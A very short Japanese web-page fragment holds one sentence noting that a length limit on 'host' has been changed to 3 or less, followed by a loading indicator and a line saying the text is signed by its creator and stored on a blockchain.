同様に、host の長さ制限が 3 以下に変更されている

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。